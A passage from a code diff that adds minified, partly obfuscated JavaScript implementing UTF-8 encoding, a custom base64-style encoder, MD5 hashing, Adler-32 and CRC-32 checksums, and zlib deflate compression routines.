(t, n) { + return t <= n + }, a = function (t, n) { + return t | n + }, f = function (t, n) { + return t & n + }, h = function (t, n) { + return t >> n + }, w = function (t, n) { + return t & n + }, l = function (t, n) { + return t >= n + }, d = function (t, n) { + return t <= n + }, _ = function (t, n) { + return t | n + }, x = function (t, n) { + return t & n + }, g = function (t, n) { + return t & n + }, v = function (t, n) { + return t >> n + }, p = function (t, n) { + return t & n + }, b = function (t, n) { + return t < n + }, m = [], C = 0, D = 0; n(D, t[s]); D += 1) { + var O = t[o](D); + r(O, 0) && e(O, 127) ? (m[c](O), + C += 1) : e(128, 80) && i(O, 2047) ? (C += 2, + m[c](a(192, f(31, h(O, 6)))), + m[c](a(128, w(63, O)))) : (l(O, 2048) && d(O, 55295) || l(O, 57344) && d(O, 65535)) && (C += 3, + m[c](_(224, x(15, h(O, 12)))), + m[c](_(128, g(63, v(O, 6)))), + m[c](_(128, p(63, O)))) + } + for (var k = 0; b(k, m[s]); k += 1) + m[k] &= 255; + return function (t, n) { + return t <= n + }(C, 255) ? [0, C][u](m) : [function (t, n) { + return t >> n + }(C, 8), p(C, 255)][u](m) + } + , + d.es = function (t) { + t || (t = """"); + var n = t[a](0, 255) + , r = [] + , e = d.charCode(n).slice(2); + return r[c](e[s]), + r[u](e) + } + , + d.en = function (t) { + var n = function (t, n) { + return t !== n + } + , r = function (t, n) { + return t % n + } + , e = function (t, n) { + return t < n + } + , i = function (t, n) { + return t * n + } + , o = function (t, n) { + return t * n + } + , u = function (t, n) { + return t + n + } + , f = function (t, n, r) { + return t(n, r) + }; + t || (t = 0); + var w = function (t, n) { + return parseInt(n) + }(0, t) + , l = []; + !function (t, n) { + return t > n + }(w, 0) ? l[c](1) : l[c](0); + for (var d = Math.abs(w).toString(2).split(""""), _ = 0; n(r(d[s], 8), 0); _ += 1) + d.unshift(""0""); + d = d.join(""""); + for (var x = Math.ceil(function (t, n) { + return t / n + }(d[s], 8)), g = 0; e(g, x); g += 1) { + var v = d[a](i(g, 8), o(u(g, 1), 8)); + l[c](f(parseInt, v, 2)) + } + var p = l[s]; + return l.unshift(p), + l + } + , + d[i(""0xa"", ""4H[4"")] = function (t) { + for (var n = function (t, n) { + return t < n + }, r = [], e = t.toString(2).split(""""), i = 0; n(e[s], 16); i += 1) + e.unshift(0); + return e = e.join(""""), + r[c](function (t, n, r) { + return t(n, r) + }(parseInt, e[a](0, 8), 2), function (t, n, r) { + return t(n, r) + }(parseInt, e[a](8, 16), 2)), + r + } + , + d[i(""0xb"", ""n1$k"")] = function (t) { + for (var n = { + siKwF: i(""0xc"", ""3sl8""), + cCTci: i(""0xd"", ""$oSo""), + gJSsU: function (t, n) { + return t < n + }, + jKThZ: i(""0xe"", ""VRJR""), + rZJxP: function (t, n) { + return t | n + }, + BJGzg: function (t, n) { + return t << n + }, + dkecu: function (t, n) { + return t & n + }, + YDHhf: function (t, n) { + return t - n + }, + PTrMw: function (t, n) { + return t >> n + }, + inPLI: function (t, n) { + return t << n + }, + DFOkJ: function (t, n) { + return t(n) + }, + kkUqO: function (t, n) { + return t - n + }, + CCwIR: function (t, n) { + return t(n) + }, + qYmFj: function (t, n) { + return t + n + }, + fGVLX: function (t, n) { + return t & n + }, + BCdUS: function (t, n) { + return t - n + }, + WIZIR: function (t, n) { + return t < n + } + }, r = n.siKwF.split(""|""), e = 0; ;) { + switch (r[e++]) { + case ""0"": + return _.replace(/=/g, """"); + case ""1"": + var a = n.cCTci; + continue; + case ""2"": + var u, c, f, h; + continue; + case ""3"": + for (d = 0; n.gJSsU(d, t[s]); d = v._bK) + for (var w = n.jKThZ.split(""|""), l = 0; ;) { + switch (w[l++]) { + case ""0"": + x._á(v._bf()); + continue; + case ""1"": + f = n.rZJxP(n.BJGzg(n.dkecu(x._ê[n.YDHhf(x._bÌ, 1)], 15), 2), n.PTrMw(x._ê[x._bÌ], 6)); + continue; + case ""2"": + c = n.rZJxP(n.inPLI(n.dkecu(x._ê[n.YDHhf(x._bÌ, 2)], 3), 4), n.PTrMw(x._ê[n.YDHhf(x._bÌ, 1)], 4)); + continue; + case ""3"": + n.DFOkJ(isNaN, x._ê[n.kkUqO(x._bÌ, 1)]) ? f = h = 64 : n.CCwIR(isNaN, x._ê[x._bÌ]) && (h = 64); + continue; + case ""4"": + _ = n.qYmFj(n.qYmFj(n.qYmFj(n.qYmFj(_, x._ê[u]), x._ê[c]), x._ê[f]), x._ê[h]); + continue; + case ""5"": + x._á(v._bf()); + continue; + case ""6"": + h = n.fGVLX(x._ê[x._bÌ], 63); + continue; + case ""7"": + u = n.PTrMw(x._ê[n.BCdUS(x._bÌ, 2)], 2); + continue; + case ""8"": + x._á(v._bf()); + continue; + case ""9"": + x._bÌ -= 3; + continue + } + break + } + continue; + case ""4"": + for (var d = 0; n.WIZIR(d, a[s]); d++) + x._á(a.charAt(d)); + continue; + case ""5"": + x._á(""=""); + continue; + case ""6"": + var _ = """"; + continue; + case ""7"": + var x = { + ""_ê"": new Array(4095), + ""_bÌ"": -1, + ""_á"": function (t) { + this._bÌ++, + this._ê[this._bÌ] = t + }, + ""_bÝ"": function () { + return this._bÌ--, + g.ElHZO(this._bÌ, 0) && (this._bÌ = 0), + this._ê[this._bÌ] + } + }; + continue; + case ""8"": + var g = { + ElHZO: function (t, r) { + return n.WIZIR(t, r) + } + }; + continue; + case ""9"": + var v = { + ""_bÇ"": t, + _bK: 0, + _bf: function () { + return t[o](this._bK++) + } + }; + continue + } + break + } + }; + + return d; + })(); // 4 + + + var f_digest = (function (t, n, r) { + var e, i, a, o, s; + e = f_rot, + i = f_utf8_bin.utf8, + a = f_is_buffer, + o = f_utf8_bin.bin, + (s = function t(n, r) { + n.constructor == String ? n = r && ""binary"" === r.encoding ? o.stringToBytes(n) : i.stringToBytes(n) : a(n) ? n = Array.prototype.slice.call(n, 0) : f(n) || (n = n.toString()); + for (var s = e.bytesToWords(n), u = 8 * n.length, c = 1732584193, h = -271733879, w = -1732584194, l = 271733878, d = 0; d < s.length; d++) + s[d] = 16711935 & (s[d] << 8 | s[d] >>> 24) | 4278255360 & (s[d] << 24 | s[d] >>> 8); + s[u >>> 5] |= 128 << u % 32, + s[14 + (u + 64 >>> 9 << 4)] = u; + var _ = t._ff + , x = t._gg + , g = t._hh + , v = t._ii; + for (d = 0; d < s.length; d += 16) { + var p = c + , b = h + , m = w + , C = l; + h = v(h = v(h = v(h = v(h = g(h = g(h = g(h = g(h = x(h = x(h = x(h = x(h = _(h = _(h = _(h = _(h, w = _(w, l = _(l, c = _(c, h, w, l, s[d + 0], 7, -680876936), h, w, s[d + 1], 12, -389564586), c, h, s[d + 2], 17, 606105819), l, c, s[d + 3], 22, -1044525330), w = _(w, l = _(l, c = _(c, h, w, l, s[d + 4], 7, -176418897), h, w, s[d + 5], 12, 1200080426), c, h, s[d + 6], 17, -1473231341), l, c, s[d + 7], 22, -45705983), w = _(w, l = _(l, c = _(c, h, w, l, s[d + 8], 7, 1770035416), h, w, s[d + 9], 12, -1958414417), c, h, s[d + 10], 17, -42063), l, c, s[d + 11], 22, -1990404162), w = _(w, l = _(l, c = _(c, h, w, l, s[d + 12], 7, 1804603682), h, w, s[d + 13], 12, -40341101), c, h, s[d + 14], 17, -1502002290), l, c, s[d + 15], 22, 1236535329), w = x(w, l = x(l, c = x(c, h, w, l, s[d + 1], 5, -165796510), h, w, s[d + 6], 9, -1069501632), c, h, s[d + 11], 14, 643717713), l, c, s[d + 0], 20, -373897302), w = x(w, l = x(l, c = x(c, h, w, l, s[d + 5], 5, -701558691), h, w, s[d + 10], 9, 38016083), c, h, s[d + 15], 14, -660478335), l, c, s[d + 4], 20, -405537848), w = x(w, l = x(l, c = x(c, h, w, l, s[d + 9], 5, 568446438), h, w, s[d + 14], 9, -1019803690), c, h, s[d + 3], 14, -187363961), l, c, s[d + 8], 20, 1163531501), w = x(w, l = x(l, c = x(c, h, w, l, s[d + 13], 5, -1444681467), h, w, s[d + 2], 9, -51403784), c, h, s[d + 7], 14, 1735328473), l, c, s[d + 12], 20, -1926607734), w = g(w, l = g(l, c = g(c, h, w, l, s[d + 5], 4, -378558), h, w, s[d + 8], 11, -2022574463), c, h, s[d + 11], 16, 1839030562), l, c, s[d + 14], 23, -35309556), w = g(w, l = g(l, c = g(c, h, w, l, s[d + 1], 4, -1530992060), h, w, s[d + 4], 11, 1272893353), c, h, s[d + 7], 16, -155497632), l, c, s[d + 10], 23, -1094730640), w = g(w, l = g(l, c = g(c, h, w, l, s[d + 13], 4, 681279174), h, w, s[d + 0], 11, -358537222), c, h, s[d + 3], 16, -722521979), l, c, s[d + 6], 23, 76029189), w = g(w, l = g(l, c = g(c, h, w, l, s[d + 9], 4, -640364487), h, w, s[d + 12], 11, -421815835), c, h, s[d + 15], 16, 530742520), l, c, s[d + 2], 23, -995338651), w = v(w, l = v(l, c = v(c, h, w, l, s[d + 0], 6, -198630844), h, w, s[d + 7], 10, 1126891415), c, h, s[d + 14], 15, -1416354905), l, c, s[d + 5], 21, -57434055), w = v(w, l = v(l, c = v(c, h, w, l, s[d + 12], 6, 1700485571), h, w, s[d + 3], 10, -1894986606), c, h, s[d + 10], 15, -1051523), l, c, s[d + 1], 21, -2054922799), w = v(w, l = v(l, c = v(c, h, w, l, s[d + 8], 6, 1873313359), h, w, s[d + 15], 10, -30611744), c, h, s[d + 6], 15, -1560198380), l, c, s[d + 13], 21, 1309151649), w = v(w, l = v(l, c = v(c, h, w, l, s[d + 4], 6, -145523070), h, w, s[d + 11], 10, -1120210379), c, h, s[d + 2], 15, 718787259), l, c, s[d + 9], 21, -343485551), + c = c + p >>> 0, + h = h + b >>> 0, + w = w + m >>> 0, + l = l + C >>> 0 + } + return e.endian([c, h, w, l]) + } + )._ff = function (t, n, r, e, i, a, o) { + var s = t + (n & r | ~n & e) + (i >>> 0) + o; + return (s << a | s >>> 32 - a) + n + } + , + s._gg = function (t, n, r, e, i, a, o) { + var s = t + (n & e | r & ~e) + (i >>> 0) + o; + return (s << a | s >>> 32 - a) + n + } + , + s._hh = function (t, n, r, e, i, a, o) { + var s = t + (n ^ r ^ e) + (i >>> 0) + o; + return (s << a | s >>> 32 - a) + n + } + , + s._ii = function (t, n, r, e, i, a, o) { + var s = t + (r ^ (n | ~e)) + (i >>> 0) + o; + return (s << a | s >>> 32 - a) + n + } + , + s._blocksize = 16, + s._digestsize = 16, + tt = function (t, n) { + if (null == t) + throw new Error(""Illegal argument "" + t); + var r = e.wordsToBytes(s(t, n)); + return n && n.asBytes ? r : n && n.asString ? o.bytesToString(r) : e.bytesToHex(r) + }; + return tt; + })(); // 5 + + + var f_is_buffer = (function (t, n) { + function r(t) { + return !!t.constructor && ""function"" == typeof t.constructor.isBuffer && t.constructor.isBuffer(t) + } + + return function (t) { + return null != t && (r(t) || function (t) { + return ""function"" == typeof t.readFloatLE && ""function"" == typeof t.slice && r(t.slice(0, 0)) + }(t) || !!t._isBuffer) + } + })(); // 8 + + + var f_yu_xun = (function (t, n, r) { + ""use strict""; + return function (t, n, r, e) { + for (var i = 65535 & t | 0, a = t >>> 16 & 65535 | 0, o = 0; 0 !== r;) { + r -= o = r > 2e3 ? 2e3 : r; + do { + a = a + (i = i + n[e++] | 0) | 0 + } while (--o); + i %= 65521, + a %= 65521 + } + return i | a << 16 | 0 + } + })(); // 12 + + + var f_yi = (function (t, n, r) { + ""use strict""; + var e = function () { + for (var t, n = [], r = 0; r < 256; r++) { + t = r; + for (var e = 0; e < 8; e++) + t = 1 & t ? 3988292384 ^ t >>> 1 : t >>> 1; + n[r] = t + } + return n + }(); + return function (t, n, r, i) { + var a = e + , o = i + r; + t ^= -1; + for (var s = i; s < o; s++) + t = t >>> 8 ^ a[255 & (t ^ n[s])]; + return -1 ^ t + } + })(); // 13 + + + var f_tr = (function (t, n, r) { + ""use strict""; + var n = {}; + var e = f_assign; + + function i(t) { + for (var n = t.length; --n >= 0;) + t[n] = 0 + } + + var a = 0 + , o = 256 + , s = o + 1 + 29 + , u = 30 + , c = 19 + , f = 2 * s + 1 + , h = 15 + , w = 16 + , l = 256 + , d = 16 + , _ = 17 + , x = 18 + , g = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0] + , v = [0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13] + , p = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 3, 7] + , b = [16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15] + , m = new Array(2 * (s + 2)); + i(m); + var C = new Array(2 * u); + i(C); + var D = new Array(512); + i(D); + var O = new Array(256); + i(O); + var k = new Array(29); + i(k); + var y, K, z, A = new Array(u); + + function M(t, n, r, e, i) { + this.static_tree = t, + this.extra_bits = n, + this.extra_base = r, + this.elems = e, + this.max_length = i, + this.has_stree = t && t.length + } + + function B(t, n) { + this.dyn_tree = t, + this.max_code = 0, + this.stat_desc = n + } + + function L(t) { + return t < 256 ? D[t] : D[256 + (t >>> 7)] + } + + function j(t, n) { + t.pending_buf[t.pending++] = 255 & n, + t.pending_buf[t.pending++] = n >>> 8 & 255 + } + + function S(t, n, r) { + t.bi_valid > w - r ? (t.bi_buf |= n << t.bi_valid & 65535, + j(t, t.bi_buf), + t.bi_buf = n >> w - t.bi_valid, + t.bi_valid += r - w) : (t.bi_buf |= n << t.bi_valid & 65535, + t.bi_valid += r) + } + + function T(t, n, r) { + S(t, r[2 * n], r[2 * n + 1]) + } + + function H(t, n) { + var r = 0; + do { + r |= 1 & t, + t >>>= 1, + r <<= 1 + } while (--n > 0); + return r >>> 1 + } + + function V(t, n, r) { + var e, i, a = new Array(h + 1), o = 0; + for (e = 1; e <= h; e++) + a[e] = o = o + r[e - 1] << 1; + for (i = 0; i <= n; i++) { + var s = t[2 * i + 1]; + 0 !== s && (t[2 * i] = H(a[s]++, s)) + } + } + + function Y(t) { + var n; + for (n = 0; n < s; n++) + t.dyn_ltree[2 * n] = 0; + for (n = 0; n < u; n++) + t.dyn_dtree[2 * n] = 0; + for (n = 0; n < c; n++) + t.bl_tree[2 * n] = 0; + t.dyn_ltree[2 * l] = 1, + t.opt_len = t.static_len = 0, + t.last_lit = t.matches = 0 + } + + function q(t) { + t.bi_valid > 8 ? j(t, t.bi_buf) : t.bi_valid > 0 && (t.pending_buf[t.pending++] = t.bi_buf), + t.bi_buf = 0, + t.bi_valid = 0 + } + + function N(t, n, r, e) { + var i = 2 * n + , a = 2 * r; + return t[i] < t[a] || t[i] === t[a] && e[n] <= e[r] + } + + function R(t, n, r) { + for (var e = t.heap[r], i = r << 1; i <= t.heap_len && (i < t.heap_len && N(n, t.heap[i + 1], t.heap[i], t.depth) && i++, + !N(n, e, t.heap[i], t.depth));) + t.heap[r] = t.heap[i], + r = i, + i <<= 1; + t.heap[r] = e + } + + function Q(t, n, r) { + var e, i, a, s, u = 0; + if (0 !== t.last_lit) + do { + e = t.pending_buf[t.d_buf + 2 * u] << 8 | t.pending_buf[t.d_buf + 2 * u + 1], + i = t.pending_buf[t.l_buf + u], + u++, + 0 === e ? T(t, i, n) : (T(t, (a = O[i]) + o + 1, n), + 0 !== (s = g[a]) && S(t, i -= k[a], s), + T(t, a = L(--e), r), + 0 !== (s = v[a]) && S(t, e -= A[a], s)) + } while (u < t.last_lit); + T(t, l, n) + } + + function U(t, n) { + var r, e, i, a = n.dyn_tree, o = n.stat_desc.static_tree, s = n.stat_desc.has_stree, u = n.stat_desc.elems, + c = -1; + for (t.heap_len = 0, + t.heap_max = f, + r = 0; r < u; r++) + 0 !== a[2 * r] ? (t.heap[++t.heap_len] = c = r, + t.depth[r] = 0) : a[2 * r + 1] = 0; + for (; t.heap_len < 2;) + a[2 * (i = t.heap[++t.heap_len] = c < 2 ? ++c : 0)] = 1, + t.depth[i] = 0, + t.opt_len--, + s && (t.static_len -= o[2 * i + 1]); + for (n.max_code = c, + r = t.heap_len >> 1; r >= 1; r--) + R(t, a, r); + i = u; + do { + r = t.heap[1], + t.heap[1] = t.heap[t.heap_len--], + R(t, a, 1), + e = t.heap[1], + t.heap[--t.heap_max] = r, + t.heap[--t.heap_max] = e, + a[2 * i] = a[2 * r] + a[2 * e], + t.depth[i] = (t.depth[r] >= t.depth[e] ? t.depth[r] : t.depth[e]) + 1, + a[2 * r + 1] = a[2 * e + 1] = i, + t.heap[1] = i++, + R(t, a, 1) + } while (t.heap_len >= 2); + t.heap[--t.heap_max] = t.heap[1], + function (t, n) { + var r, e, i, a, o, s, u = n.dyn_tree, c = n.max_code, w = n.stat_desc.static_tree, + l = n.stat_desc.has_stree, d = n.stat_desc.extra_bits, _ = n.stat_desc.extra_base, + x = n.stat_desc.max_length, g = 0; + for (a = 0; a <= h; a++) + t.bl_count[a] = 0; + for (u[2 * t.heap[t.heap_max] + 1] = 0, + r = t.heap_max + 1; r < f; r++) + (a = u[2 * u[2 * (e = t.heap[r]) + 1] + 1] + 1) > x && (a = x, + g++), + u[2 * e + 1] = a, + e > c || (t.bl_count[a]++, + o = 0, + e >= _ && (o = d[e - _]), + s = u[2 * e], + t.opt_len += s * (a + o), + l && (t.static_len += s * (w[2 * e + 1] + o))); + if (0 !== g) { + do { + for (a = x - 1; 0 === t.bl_count[a];) + a--; + t.bl_count[a]--, + t.bl_count[a + 1] += 2, + t.bl_count[x]--, + g -= 2 + } while (g > 0); + for (a = x; 0 !== a; a--) + for (e = t.bl_count[a]; 0 !== e;) + (i = t.heap[--r]) > c || (u[2 * i + 1] !== a && (t.opt_len += (a - u[2 * i + 1]) * u[2 * i], + u[2 * i + 1] = a), + e--) + } + }(t, n), + V(a, c, t.bl_count) + } + + function E(t, n, r) { + var e, i, a = -1, o = n[1], s = 0, u = 7, c = 4; + for (0 === o && (u = 138, + c = 3), + n[2 * (r + 1) + 1] = 65535, + e = 0; e <= r; e++) + i = o, + o = n[2 * (e + 1) + 1], + ++s < u && i === o || (s < c ? t.bl_tree[2 * i] += s : 0 !== i ? (i !== a && t.bl_tree[2 * i]++, + t.bl_tree[2 * d]++) : s <= 10 ? t.bl_tree[2 * _]++ : t.bl_tree[2 * x]++, + s = 0, + a = i, + 0 === o ? (u = 138, + c = 3) : i === o ? (u = 6, + c = 3) : (u = 7, + c = 4)) + } + + function P(t, n, r) { + var e, i, a = -1, o = n[1], s = 0, u = 7, c = 4; + for (0 === o && (u = 138, + c = 3), + e = 0; e <= r; e++) + if (i = o, + o = n[2 * (e + 1) + 1], + !(++s < u && i === o)) { + if (s < c) + do { + T(t, i, t.bl_tree) + } while (0 != --s); + else + 0 !== i ? (i !== a && (T(t, i, t.bl_tree), + s--), + T(t, d, t.bl_tree), + S(t, s - 3, 2)) : s <= 10 ? (T(t, _, t.bl_tree), + S(t, s - 3, 3)) : (T(t, x, t.bl_tree), + S(t, s - 11, 7)); + s = 0, + a = i, + 0 === o ? (u = 138, + c = 3) : i === o ? (u = 6, + c = 3) : (u = 7, + c = 4) + } + } + + i(A); + var F = !1; + + function I(t, n, r, i) { + S(t, (a << 1) + (i ? 1 : 0), 3), + function (t, n, r, i) { + q(t), + j(t, r), + j(t, ~r), + e.arraySet(t.pending_buf, t.window, n, r, t.pending), + t.pending += r + }(t, n, r) + } + + n._tr_init = function (t) { + F || (function () { + var t, n, r, e, i, a = new Array(h + 1); + for (r = 0, + e = 0; e < 28; e++) + for (k[e] = r, + t = 0; t < 1 << g[e]; t++) + O[r++] = e; + for (O[r - 1] = e, + i = 0, + e = 0; e < 16; e++) + for (A[e] = i, + t = 0; t < 1 << v[e]; t++) + D[i++] = e; + for (i >>= 7; e < u; e++) + for (A[e] = i << 7, + t = 0; t < 1 << v[e] - 7; t++) + D[256 + i++] = e; + for (n = 0; n <= h; n++) + a[n] = 0; + for (t = 0; t <= 143;) + m[2 * t + 1] = 8, + t++, + a[8]++; + for (; t <= 255;) + m[2 * t + 1] = 9, + t++, + a[9]++; + for (; t <= 279;) + m[2 * t + 1] = 7, + t++, + a[7]++; + for (; t <= 287;) + m[2 * t + 1] = 8, + t++, + a[8]++; + for (V(m, s + 1, a), + t = 0; t < u; t++) + C[2 * t + 1] = 5, + C[2 * t] = H(t, 5); + y = new M(m, g, o + 1, s, h), + K = new M(C, v, 0, u, h), + z = new M(new Array(0), p, 0, c, 7) + }(), + F = !0), + t.l_desc = new B(t.dyn_ltree, y), + t.d_desc = new B(t.dyn_dtree, K), + t.bl_desc = new B(t.bl_tree, z), + t.bi_buf = 0, + t.bi_valid = 0, + Y(t) + } + , + n._tr_stored_block = I, + n._tr_flush_block = function (t, n, r, e) { + var i, a, s = 0; + t.level > 0 ? (2 === t.strm.data_type && (t.strm.data_type = function (t) { + var n, r = 4093624447; + for (n = 0; n <= 31; n++, + r >>>= 1) + if (1 & r && 0 !== t.dyn_ltree[2 * n]) + return 0; + if (0 !== t.dyn_ltree[18] || 0 !== t.dyn_ltree[20] || 0 !== t.dyn_ltree[26]) + return 1; + for (n = 32; n < o; n++) + if (0 !== t.dyn_ltree[2 * n]) + return 1; + return 0 + }(t)), + U(t, t.l_desc), + U(t, t.d_desc), + s = function (t) { + var n; + for (E(t, t.dyn_ltree, t.l_desc.max_code), + E(t, t.dyn_dtree, t.d_desc.max_code), + U(t, t.bl_desc), + n = c - 1; n >= 3 && 0 === t.bl_tree[2 * b[n] + 1]; n--) + ; + return t.opt_len += 3 * (n + 1) + 5 + 5 + 4, + n + }(t), + i = t.opt_len + 3 + 7 >>> 3, + (a = t.static_len + 3 + 7 >>> 3) <= i && (i = a)) : i = a = r + 5, + r + 4 <= i && -1 !== n ? I(t, n, r, e) : 4 === t.strategy || a === i ? (S(t, 2 + (e ? 1 : 0), 3), + Q(t, m, C)) : (S(t, 4 + (e ? 1 : 0), 3), + function (t, n, r, e) { + var i; + for (S(t, n - 257, 5), + S(t, r - 1, 5), + S(t, e - 4, 4), + i = 0; i < e; i++) + S(t, t.bl_tree[2 * b[i] + 1], 3); + P(t, t.dyn_ltree, n - 1), + P(t, t.dyn_dtree, r - 1) + }(t, t.l_desc.max_code + 1, t.d_desc.max_code + 1, s + 1), + Q(t, t.dyn_ltree, t.dyn_dtree)), + Y(t), + e && q(t) + } + , + n._tr_tally = function (t, n, r) { + return t.pending_buf[t.d_buf + 2 * t.last_lit] = n >>> 8 & 255, + t.pending_buf[t.d_buf + 2 * t.last_lit + 1] = 255 & n, + t.pending_buf[t.l_buf + t.last_lit] = 255 & r, + t.last_lit++, + 0 === n ? t.dyn_ltree[2 * r]++ : (t.matches++, + n--, + t.dyn_ltree[2 * (O[r] + o + 1)]++, + t.dyn_dtree[2 * L(n)]++), + t.last_lit === t.lit_bufsize - 1 + } + , + n._tr_align = function (t) { + S(t, 2, 3), + T(t, l, m), + function (t) { + 16 === t.bi_valid ? (j(t, t.bi_buf), + t.bi_buf = 0, + t.bi_valid = 0) : t.bi_valid >= 8 && (t.pending_buf[t.pending++] = 255 & t.bi_buf, + t.bi_buf >>= 8, + t.bi_valid -= 8) + }(t) + }; + + return n; + })(); // 11 + + + var f_long = (function (t, n, r) { + ""use strict""; + var n = {}; + var e, i = f_assign, a = f_tr, o = f_yu_xun, s = f_yi, u = f_stream, c = 0, f = 4, h = 0, w = -2, l = -1, d = 1, + _ = 4, x = 2, g = 8, v = 9, p = 286, b = 30, m = 19, C = 2 * p + 1, D = 15, O = 3, k = 258, y = k + O + 1, + K = 42, z = 103, A = 113, M = 666, B = 1, L = 2, j = 3, S = 4; + + function T(t, n) { + return t.msg = u[n], + n + } + + function H(t) { + return (t << 1) - (t > 4 ? 9 : 0) + } + + function V(t) { + for (var n = t.length; --n >= 0;) + t[n] = 0 + } + + function Y(t) { + var n = t.state + , r = n.pending; + r > t.avail_out && (r = t.avail_out), + 0 !== r && (i.arraySet(t.output, n.pending_buf, n.pending_out, r, t.next_out), + t.next_out += r, + n.pending_out += r, + t.total_out += r, + t.avail_out -= r, + n.pending -= r, + 0 === n.pending && (n.pending_out = 0)) + } + + function q(t, n) { + a._tr_flush_block(t, t.block_start >= 0 ? t.block_start : -1, t.strstart - t.block_start, n), + t.block_start = t.strstart, + Y(t.strm) + } + + function N(t, n) { + t.pending_buf[t.pending++] = n + } + + function R(t, n) { + t.pending_buf[t.pending++] = n >>> 8 & 255, + t.pending_buf[t.pending++] = 255 & n + } + + function Q(t, n) { + var r, e, i = t.max_chain_length, a = t.strstart, o = t.prev_length, s = t.nice_match, + u = t.strstart > t.w_size - y ? t.strstart - (t.w_size - y) : 0, c = t.window, f = t.w_mask, h = t.prev, + w = t.strstart + k, l = c[a + o - 1], d = c[a + o]; + t.prev_length >= t.good_match && (i >>= 2), + s > t.lookahead && (s = t.lookahead); + do { + if (c[(r = n) + o] === d && c[r + o - 1] === l && c[r] === c[a] && c[++r] === c[a + 1]) { + a += 2, + r++; + do { + } while (c[++a] === c[++r] && c[++a] === c[++r] && c[++a] === c[++r] && c[++a] === c[++r] && c[++a] === c[++r] && c[++a] === c[++r] && c[++a] === c[++r] && c[++a] === c[++r] && a < w); + if (e = k - (w - a), + a = w - k, + e > o) { + if (t.match_start = n, + o = e, + e >= s) + break; + l = c[a + o - 1], + d = c[a + o] + } + } + } while ((n = h[n & f]) > u && 0 != --i); + return o <= t.lookahead ? o : t.lookahead + } + + function U(t) { + var n, r, e, a, u, c, f, h, w, l, d = t.w_size; + do { + if (a = t.window_size - t.lookahead - t.strstart, + t.strstart >= d + (d - y)) { + i.arraySet(t.window, t.window, d, d, 0), + t.match_start -= d, + t.strstart -= d, + t.block_start -= d, + n = r = t.hash_size; + do { + e = t.head[--n], + t.head[n] = e >= d ? e - d : 0 + } while (--r); + n = r = d; + do { + e = t.prev[--n], + t.prev[n] = e >= d ? e - d : 0 + } while (--r); + a += d + } + if (0 === t.strm.avail_in) + break; + if (c = t.strm, + f = t.window, + h = t.strstart + t.lookahead, + w = a, + l = void 0, + (l = c.avail_in) > w && (l = w), + r = 0 === l ? 0 : (c.avail_in -= l, + i.arraySet(f, c.input, c.next_in, l, h), + 1 === c.state.wrap ? c.adler = o(c.adler, f, l, h) : 2 === c.state.wrap && (c.adler = s(c.adler, f, l, h)), + c.next_in += l, + c.total_in += l, + l), + t.lookahead += r, + t.lookahead + t.insert >= O) + for (u = t.strstart - t.insert, + t.ins_h = t.window[u], + t.ins_h = (t.ins_h << t.hash_shift ^ t.window[u + 1]) & t.hash_mask; t.insert && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[u + O - 1]) & t.hash_mask, + t.prev[u & t.w_mask] = t.head[t.ins_h], + t.head[t.ins_h] = u, + u++, + t.insert--, + !(t.lookahead + t.insert < O));) + ; + } while (t.lookahead < y && 0 !== t.strm.avail_in) + } + + function E(t, n) { + for (var r, e; ;) { + if (t.lookahead < y) { + if (U(t), + t.lookahead < y && n === c) + return B; + if (0 === t.lookahead) + break + } + if (r = 0, + t.lookahead >= O && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + O - 1]) & t.hash_mask, + r = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], + t.head[t.ins_h] = t.strstart), + 0 !== r && t.strstart - r <= t.w_size - y && (t.match_length = Q(t, r)), + t.match_length >= O) + if (e = a._tr_tally(t, t.strstart - t.match_start, t.match_length - O), + t.lookahead -= t.match_length, + t.match_length <= t.max_lazy_match && t.lookahead >= O) { + t.match_length--; + do { + t.strstart++, + t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + O - 1]) & t.hash_mask, + r = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], + t.head[t.ins_h] = t.strstart + } while (0 != --t.match_length); + t.strstart++ + } else + t.strstart += t.match_length, + t.match_length = 0, + t.ins_h = t.window[t.strstart], + t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + 1]) & t.hash_mask; + else + e = a._tr_tally(t, 0, t.window[t.strstart]), + t.lookahead--, + t.strstart++; + if (e && (q(t, !1), + 0 === t.strm.avail_out)) + return B + } + return t.insert = t.strstart < O - 1 ? t.strstart : O - 1, + n === f ? (q(t, !0), + 0 === t.strm.avail_out ? j : S) : t.last_lit && (q(t, !1), + 0 === t.strm.avail_out) ? B : L + } + + function P(t, n) { + for (var r, e, i; ;) { + if (t.lookahead < y) { + if (U(t), + t.lookahead < y && n === c) + return B; + if (0 === t.lookahead) + break + } + if (r = 0, + t.lookahead >= O && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + O - 1]) & t.hash_mask, + r = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], + t.head[t.ins_h] = t.strstart), + t.prev_length = t.match_length, + t.prev_match = t.match_start, + t.match_length = O - 1, + 0 !== r && t.prev_length < t.max_lazy_match && t.strstart - r <= t.w_size - y && (t.match_length = Q(t, r), + t.match_length <= 5 && (t.strategy === d || t.match_length === O && t.strstart - t.match_start > 4096) && (t.match_length = O - 1)), + t.prev_length >= O && t.match_length <= t.prev_length) { + i = t.strstart + t.lookahead - O, + e = a._tr_tally(t, t.strstart - 1 - t.prev_match, t.prev_length - O), + t.lookahead -= t.prev_length - 1, + t.prev_length -= 2; + do { + ++t.strstart <= i && (t.ins_h = (t.ins_h << t.hash_shift ^ t.window[t.strstart + O - 1]) & t.hash_mask, + r = t.prev[t.strstart & t.w_mask] = t.head[t.ins_h], + t.head[t.ins_h] = t.strstart) + } while (0 != --t.prev_length); + if (t.match_available = 0, + t.match_length = O - 1, + t.strstart++, + e && (q(t, !1), + 0 === t.strm.avail_out)) + return B + } else if 